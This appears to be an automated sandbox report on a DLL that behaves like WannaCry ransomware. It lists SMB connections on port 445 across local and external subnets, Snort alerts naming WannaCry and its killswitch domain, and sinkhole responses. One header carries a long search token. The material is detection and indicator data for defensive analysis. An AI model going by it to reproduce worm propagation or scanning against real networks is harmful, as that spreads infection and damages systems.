Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Source: 7B6t4L7E2o.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.6:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50546 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50548 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:51580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:51717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:51759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:51945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52473 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:52743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:52752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:53317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:53832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:54517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:56043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:59616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:64946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:65197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:65198 version: TLS 1.2

Networking

Tries to download HTTP data from a sinkholed server

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jul 2022 02:33:52 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72e088c5cd0f5c02-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jul 2022 02:33:54 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72e088d19ee69b28-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jul 2022 02:33:55 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72e088d9c8b0bbb0-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.6:51971 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.6:49765 -> 104.16.173.80:80
Source: Traffic	Snort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.6:49765
Source: Traffic	Snort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.6:56591 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.6:49768 -> 104.16.173.80:80
Source: Traffic	Snort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.6:49768
Source: Traffic	Snort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.6:60350 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.6:49784 -> 104.16.173.80:80
Source: Traffic	Snort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.6:49784

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 152 IPs: 190.98.231.79,190.98.231.78,190.98.231.73,190.98.231.72,190.98.231.71,190.98.231.70,190.98.231.77,190.98.231.76,190.98.231.75,190.98.231.74,190.98.231.151,190.98.231.152,190.98.231.150,190.98.231.80,190.98.231.89,190.98.231.84,190.98.231.83,190.98.231.82,190.98.231.81,190.98.231.88,190.98.231.87,190.98.231.86,190.98.231.85,190.98.231.91,190.98.231.90,190.98.231.59,190.98.231.58,190.98.231.57,190.98.231.56,190.98.231.51,190.98.231.50,190.98.231.55,190.98.231.54,190.98.231.53,190.98.231.52,190.98.231.69,190.98.231.68,190.98.231.67,190.98.231.108,190.98.231.109,190.98.231.106,190.98.231.107,190.98.231.62,190.98.231.61,190.98.231.60,190.98.231.66,190.98.231.65,190.98.231.64,190.98.231.63,190.98.231.104,190.98.231.105,190.98.231.102,190.98.231.103,190.98.231.100,190.98.231.101,190.98.231.37,190.98.231.36,190.98.231.35,190.98.231.34,190.98.231.119,190.98.231.39,190.98.231.117,190.98.231.38,190.98.231.118,190.98.231.33,190.98.231.32,190.98.231.31,190.98.231.30,190.98.231.115,190.98.231.116,190.98.231.113,190.98.231.114,190.98.231.111,190.98.231.112,190.98.231.110,190.98.231.48,190.98.231.47,190.98.231.46,190.98.231.45,190.98.231.8,190.98.231.7,190.98.231.128,190.98.231.9,190.98.231.49,190.98.231.129,190.98.231.40,190.98.231.44,190.98.231.43,190.98.231.42,190.98.231.41,190.98.231.4,190.98.231.126,190.98.231.3,190.98.231.127,190.98.231.6,190.98.231.124,190.98.231.5,190.98.231.125,190.98.231.122,190.98.231.123,190.98.231.2,190.98.231.120,190.98.231.1,190.98.231.121,190.98.231.15,190.98.231.14,190.98.231.13,190.98.231.12,190.98.231.19,190.98.231.18,190.98.231.17,190.98.231.139,190.98.231.16,190.98.231.95,190.98.231.94,190.98.231.93,190.98.231.92,190.98.231.11,190.98.231.99,190.98.231.10,190.98.231.98,190.98.231.97,190.98.231.96,190.98.231.130,190.98.231.137,190.98.231.138,190.98.231.135,190.98.231.136,190.98.231.133,190.98.231.134,190.98.231.131,190.98.231.132,190.98.231.26,190.98.231.25,190.98.231.24,190.98.231.23,190.98.231.29,190.98.231.28,190.98.231.27,190.98.231.22,190.98.231.21,190.98.231.20,190.98.231.140,190.98.231.141,190.98.231.148,190.98.231.149,190.98.231.146,190.98.231.147,190.98.231.144,190.98.231.145,190.98.231.142,190.98.231.143

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26